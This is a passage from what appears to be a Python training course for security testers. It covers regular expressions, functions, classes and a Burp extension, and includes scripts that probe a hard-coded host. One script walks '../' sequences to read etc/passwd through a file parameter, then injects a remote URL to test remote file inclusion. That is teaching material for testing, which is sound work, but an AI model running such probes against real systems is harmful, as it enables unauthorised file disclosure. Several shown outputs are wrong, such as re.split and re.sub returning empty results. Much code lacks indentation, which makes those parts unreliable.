- - Finding a string (findall)
- - Break string into a sub strings (split)
- - Replace part of a string (sub)
- Let's look at the methods that library "re" provides to perform these tasks.
- ****************************************************
- * What are various methods of Regular Expressions? *
- ****************************************************
- The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
- re.match()
- re.search()
- re.findall()
- re.split()
- re.sub()
- re.compile()
- Let's look at them one by one.
- re.match(pattern, string):
- -------------------------------------------------
- This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print (result)
- ----------------------------------------------------------------------
- Output:
- <_sre.SRE_Match object at 0x0000000009BE4370>
- Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print (result.group(0))
- ----------------------------------------------------------------------
- Output:
- AV
- Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result = re.match(r'Analytics', 'AV Analytics ESET AV')
- print (result)
- ----------------------------------------------------------------------
- Output:
- None
- There are methods like start() and end() to know the start and end position of matching pattern in the string.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print (result.start())
- print (result.end())
- ----------------------------------------------------------------------
- Output:
- 0
- 2
- Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
- re.search(pattern, string):
- -----------------------------------------------------
- It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result = re.search(r'Analytics', 'AV Analytics ESET AV')
- print (result.group(0))
- ----------------------------------------------------------------------
- Output:
- Analytics
- Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
- re.findall (pattern, string):
- ------------------------------------------------------
- It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result = re.findall(r'AV', 'AV Analytics ESET AV')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['AV', 'AV']
- re.split(pattern, string, [maxsplit=0]):
- ------------------------------------------------------
- This methods helps to split string by the occurrences of given pattern.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- result=re.split(r'y','Analytics')
- result
- ----------------------------------------------------------------------
- Output:
- ['Anal', 'tics']
- Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.split(r's','Analytics eset')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.split(r's','Analytics eset',maxsplit=1)
- print (result)
- ----------------------------------------------------------------------
- Output:
- []
- re.sub(pattern, repl, string):
- ----------------------------------------------------------
- It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.sub(r'Ruby','Python','Joe likes Ruby')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ''
- re.compile(pattern, repl, string):
- ----------------------------------------------------------
- We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- pattern=re.compile('XSS')
- result=pattern.findall('XSS is Cross Site Scripting, XSS')
- print (result)
- result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
- print (result2)
- ----------------------------------------------------------------------
- Output:
- ['XSS', 'XSS']
- ['XSS']
- Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
- This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
- **********************************************
- * What are the most commonly used operators? *
- **********************************************
- Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
- Operators Description
- . Matches with any single character except newline ‘\n'.
- ? match 0 or 1 occurrence of the pattern to its left
- + 1 or more occurrences of the pattern to its left
- * 0 or more occurrences of the pattern to its left
- \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
- \d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
- \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
- \b boundary between word and non-word and /B is opposite of /b
- [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
- \ It is used for special meaning characters like \. to match a period or \+ for plus sign.
- ^ and $ ^ and $ match the start or end of the string respectively
- {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
- a| b Matches either a or b
- ( ) Groups regular expressions and returns matched text
- \t, \n, \r Matches tab, newline, return
- For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
- Now, let's understand the pattern operators by looking at the below examples.
- ****************************************
- * Some Examples of Regular Expressions *
- ****************************************
- ******************************************************
- * Problem 1: Return the first word of a given string *
- ******************************************************
- Solution-1 Extract each character (using "\w")
- ---------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'.','Python is the best scripting language')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
- Above, space is also extracted, now to avoid it use "\w" instead of ".".
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\w','Python is the best scripting language')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
- Solution-2 Extract each word (using "*" or "+")
- ---------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\w*','Python is the best scripting language')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
- Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\w+','Python is the best scripting language')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Python', 'is', 'the', 'best', 'scripting', 'language']
- Solution-3 Extract each word (using "^")
- -------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'^\w+','Python is the best scripting language')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Python']
- If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\w+$','Python is the best scripting language')
- print (result)
- ----------------------------------------------------------------------
- Output:
- [‘language']
- **********************************************************
- * Problem 2: Return the first two character of each word *
- **********************************************************
- Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
- ------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\w\w','Python is the best')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
- Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
- ------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\b\w.','Python is the best')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Py', 'is', 'th', 'be']
- ********************************************************
- * Problem 3: Return the domain type of given email-ids *
- ********************************************************
- To explain it in simple manner, I will again go with a stepwise approach:
- Solution-1 Extract all characters after "@"
- ------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print (result)
- ----------------------------------------------------------------------
- Output: ['@gmail', '@test', '@strategicsec', '@rest']
- Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
- Solution – 2 Extract only domain name using "( )"
- -----------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['com', 'com', 'com', 'biz']
- ********************************************
- * Problem 4: Return date from given string *
- ********************************************
- Here we will use "\d" to extract digit.
- Solution:
- ----------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['12-05-2007', '11-11-2016', '12-01-2009']
- If you want to extract only year again parenthesis "( )" will help you.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['2007', '2016', '2009']
- *******************************************************************
- * Problem 5: Return all words of a string those starts with vowel *
- *******************************************************************
- Solution-1 Return each words
- -----------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\w+','Python is the best')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['Python', 'is', 'the', 'best']
- Solution-2 Return words starts with alphabets (using [])
- ------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['ove', 'on']
- Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
- Solution- 3
- ------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
- print (result)
- ----------------------------------------------------------------------
- Output:
- []
- In similar ways, we can extract words those starts with constant using "^" within square bracket.
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
- print (result)
- ----------------------------------------------------------------------
- Output:
- [' love', ' Python']
- Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['love', 'Python']
- *************************************************************************************************
- * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
- *************************************************************************************************
- We have a list phone numbers in list "li" and here we will validate phone numbers using regular
- Solution
- -------------------------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- li=['9999999999','999999-999','99999x9999']
- for val in li:
- if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
- print ('yes')
- else:
- print ('no')
- ----------------------------------------------------------------------
- Output:
- yes
- no
- no
- ******************************************************
- * Problem 7: Split a string with multiple delimiters *
- ******************************************************
- Solution
- ---------------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
- result= re.split(r'[;,\s]', line)
- print (result)
- ----------------------------------------------------------------------
- Output:
- ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
- We can also use method re.sub() to replace these multiple delimiters with one as space " ".
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- import re
- line = 'asdf fjdk;afed,fjek,asdf,foo'
- result= re.sub(r'[;,\s]',' ', line)
- print (result)
- ----------------------------------------------------------------------
- Output:
- asdf fjdk afed fjek asdf foo
- **************************************************
- * Problem 8: Retrieve Information from HTML file *
- **************************************************
- I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
- Create a file that contains the following data:
- ---------------------------Paste This-----------------------------------
- <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
- <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
- <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
- <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
- <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
- <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
- <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
- ----------------------------------------------------------------------
- Solution:
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- f=open('file.txt', "r")
- import re
- str = f.read()
- result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
- print (result)
- ----------------------------------------------------------------------
- Output:
- [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
- You can read html file using library urllib (see below code).
- Code
- ---------------------------Type This-----------------------------------
- $ python3
- from urllib.request import urlopen
- html = urlopen("http://www.google.com/")
- print(html.read())
- ----------------------------------------------------------------------
- NOTE: You can put any website URL that you want in the urllib2.urlopen('')
- #############
- # Functions #
- #############
- ***********************
- * What are Functions? *
- ***********************
- Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
- How do you write functions in Python?
- Python makes use of blocks.
- A block is a area of code of written in the format of:
- block_head:
- 1st block line
- 2nd block line
- ...
- Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
- Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
- def my_function():
- print("Hello From My Function!")
- Functions may also receive arguments (variables passed from the caller to the function). For example:
- def my_function_with_args(username, greeting):
- print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
- Functions may return a value to the caller, using the keyword- 'return' . For example:
- def sum_two_numbers(a, b):
- return a + b
- ****************************************
- * How do you call functions in Python? *
- ****************************************
- Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
- # Define our 3 functions
- ---------------------------Paste This-----------------------------------
- def my_function():
- print("Hello From My Function!")
- ----------------------------------------------------------------------
- ---------------------------Paste This-----------------------------------
- def my_function_with_args(username, greeting):
- print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
- ----------------------------------------------------------------------
- ---------------------------Paste This-----------------------------------
- def sum_two_numbers(a, b):
- return a + b
- ----------------------------------------------------------------------
- Let's print(a simple greeting)
- ---------------------------Paste This-----------------------------------
- my_function()
- -----------------------------------------------------------------------
- Prints - "Hello, Joe, From My Function!, I wish you a great year!"
- ---------------------------Paste This-----------------------------------
- my_function_with_args("Joe", "a great year!")
- -----------------------------------------------------------------------
- After this line x will hold the value 3!
- ---------------------------Paste This-----------------------------------
- x = sum_two_numbers(1,2)
- x
- -----------------------------------------------------------------------
- ************
- * Exercise *
- ************
- In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
- Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
- Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
- Run and see all the functions work together!
- Modify this function to return a list of strings as defined above
- ---------------------------Paste This-----------------------------------
- def list_benefits():
- pass
- -----------------------------------------------------------------------
- Modify this function to concatenate to each benefit - " is a benefit of functions!"
- ---------------------------Paste This-----------------------------------
- def build_sentence(benefit):
- pass
- -----------------------------------------------------------------------
- ---------------------------Paste This-----------------------------------
- def name_the_benefits_of_functions():
- list_of_benefits = list_benefits()
- for benefit in list_of_benefits:
- print(build_sentence(benefit))
- name_the_benefits_of_functions()
- -----------------------------------------------------------------------
- ##########################
- # Python Lambda Function #
- ##########################
- Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
- lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
- Let’s take an example:
- Consider a function multiply()
- def multiply(x, y):
- return x * y
- This function is too small, so let’s convert it into a lambda function.
- To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
- ---------------------------Type This-----------------------------------
- >>> r = lambda x, y: x * y
- >>> r(12,3)
- 36
- -----------------------------------------------------------------------
- Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
- You don’t need to assign lambda function to a variable.
- ---------------------------Type This-----------------------------------
- >>> (lambda x, y: x * y)(3,4)
- 12
- -----------------------------------------------------------------------
- Note that lambda function can’t contain more than one expression.
- ##################
- # Python Classes #
- ##################
- ****************
- * Introduction *
- ****************
- Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
- You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
- ***********************
- * Real World Examples *
- ***********************
- This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
- Start off by thinking about a web vuln scanner.
- What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
- So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
- ******************
- * A Python Class *
- ******************
- Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
- ---------------------------Paste This-----------------------------------
- class WebVulnScanner(object):
- make = 'Acunetix'
- model = '10.5'
- year = '2014'
- version ='Consultant Edition'
- profile = 'High Risk'
- def crawling(self, speed):
- print("Crawling at %s" % speed)
- def scanning(self, speed):
- print("Scanning at %s" % speed)
- -----------------------------------------------------------------------
- Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
- From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
- *****************
- * What is Self? *
- *****************
- Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
- ################# Do not do this lab #################
- ---------------------------Type This-----------------------------------
- print("Your %s is crawling at %s" % (self.model, speed))
- -----------------------------------------------------------------------
- ################# end of lab that doesn't work #################
- It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
- *****************
- * Using A Class *
- *****************
- You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
- ---------------------------Type This-----------------------------------
- myscanner = WebVulnScanner()
- -----------------------------------------------------------------------
- That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
- Get your scanner object to print out its make and model.
- ---------------------------Type This-----------------------------------
- print("%s %s" % (myscanner.make, myscanner.model))
- -----------------------------------------------------------------------
- The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
- ---------------------------Type This-----------------------------------
- myscanner.scanning('10req/sec')
- -----------------------------------------------------------------------
- What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
- ---------------------------Type This-----------------------------------
- print("The profile of my scanner settings is %s" % myscanner.profile)
- myscanner.profile = "default"
- print("The profile of my scanner settings is %s" % myscanner.profile)
- -----------------------------------------------------------------------
- Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
- ---------------------------Type This-----------------------------------
- mynewscanner = WebVulnScanner()
- print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
- -----------------------------------------------------------------------
- That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
- #########################################
- # The self variable in python explained #
- #########################################
- So lets start by making a class involving the self variable.
- A simple class :
- So here is our class:
- ---------------------------Paste This-----------------------------------
- class port(object):
- open = False
- def open_port(self):
- if not self.open:
- print("port open")
- -----------------------------------------------------------------------
- First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
- Making a Port:
- Now that we have made a class for a Port, lets actually make a port:
- ---------------------------Type This-----------------------------------
- x = port()
- -----------------------------------------------------------------------
- Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
- ---------------------------Type This-----------------------------------
- x.open
- -----------------------------------------------------------------------
- The above command is same as:
- ---------------------------Type This-----------------------------------
- port().open
- -----------------------------------------------------------------------
- Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
- ---------------------------Type This-----------------------------------
- >>> x = port()
- >>> x.open
- False
- >>> y = port()
- >>> y.open = True
- >>> y.open
- True
- >>> x.open
- False
- -----------------------------------------------------------------------
- The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
- ---------------------------Paste This-----------------------------------
- class port(object):
- open = False
- def open_port(this):
- if not this.open:
- print("port open")
- -----------------------------------------------------------------------
- ################################
- # Web App Testing with Python3 #
- ################################
- ---------------------------Type This-----------------------------------
- nano bannergrab.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import sys
- import socket
- # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("45.63.104.73", 80))
- s.send(("GET / HTTP/1.1\r\n\r\n").encode())
- #Convert response to bytes
- response = b""
- # or use encode()
- #response = "".encode()
- while True:
- data = s.recv(4096)
- response += data
- if not data:
- break
- s.close()
- print(response.decode())
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 bannergrab.py
- -----------------------------------------------------------------------
- ################# Do not do this lab #################
- ---------------------------Type This-----------------------------------
- nano titlegrab.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import requests
- from bs4 import BeautifulSoup
- def main():
- print("\nPage URL and Title")
- print("-----------------------------------------------------------------")
- urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com']
- for url in urls:
- r = requests.get(url)
- soup = BeautifulSoup(r.text, 'html.parser')
- print(url + " = " + soup.title.string)
- if __name__ == "__main__":
- main()
- ----------------------------------------------------------------------
- ################# end of lab that doesn't work #################
- ---------------------------Type This-----------------------------------
- nano LFI-RFI.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- print("\n### PHP LFI/RFI Detector ###")
- import urllib.request, urllib.error, urllib.parse,re,sys
- TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
- RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
- TravLimit = 12
- print("==> Testing for LFI vulns..")
- TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
- for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
- TARGET += "../"
- try:
- source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
- except urllib.error.URLError as e:
- print("$$$ We had an Error:",e)
- sys.exit(0)
- if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
- print("!! ==> LFI Found:",TARGET+"etc/passwd")
- break ## BREAK LOOP WHEN VULN FOUND
- print("\n==> Testing for RFI vulns..")
- TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
- try:
- source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
- except urllib.error.URLError as e:
- print("$$$ We had an Error:",e)
- sys.exit(0)
- if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
- print("!! => RFI Found:",TARGET)
- print("\nScan Complete\n") ## DONE
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 LFI-RFI.py
- -----------------------------------------------------------------------
- ##################################
- # Burp Extension Python Tutorial #
- ##################################
- Reference link for this lab exercise:
- https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/
- - Initial setup
- Create a directory to store your extensions – I named mine burp-extensions
- Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder
- Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier
- Configure Burp to use Jython – Extender > Options > Python Environment > Select file…
- The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly.
- Hook into the Burp Extender API to access all of the base classes and useful methods
- -------------------------------------------------------------------------------------------------------------------------------------------
- class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
- ''' Implements IBurpExtender for hook into burp and inherit base classes.
- Implement IMessageEditorTabFactory to access createNewInstance.
- '''
- def registerExtenderCallbacks(self, callbacks):
- # required for debugger: https://github.com/securityMB/burp-exceptions
- sys.stdout = callbacks.getStdout()
- # keep a reference to our callbacks object
- self._callbacks = callbacks
- # obtain an extension helpers object
- # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
- self._helpers = callbacks.getHelpers()
- # set our extension name
- callbacks.setExtensionName("Decode Basic Auth")
- # register ourselves as a message editor tab factory
- callbacks.registerMessageEditorTabFactory(self)
- return
- def createNewInstance(self, controller, editable):
- ''' Allows us to create a tab in the http tabs. Returns
- an instance of a class that implements the iMessageEditorTab class
- '''
- return DisplayValues(self, controller, editable)
- -----------------------------------------------------------------------------------------------------------------------------------------------------
- This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only.
- Now we can save the file, and load the extension into Burp, which will cause an error.
- Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file…
- Click Next, and it should produce an ugly error.
- - Implement nicer looking error messages
- To make the error messages readable, add the following to the code:
- In the registerExtenderCallbacks method:
- -----------------------------------------------------------------------------------------
- def registerExtenderCallbacks(self, callbacks):
- # required for debugger: https://github.com/securityMB/burp-exceptions
- sys.stdout = callbacks.getStdout()
- -----------------------------------------------------------------------------------------
- and at the end of the script:
- -----------------------------------------------------------------------------------------
- def createNewInstance(self, controller, editable):
- ''' Allows us to create a tab in the http tabs. Returns
- an instance of a class that implements the iMessageEditorTab class
- '''
- return DisplayValues(self, controller, editable)
- FixBurpExceptions()
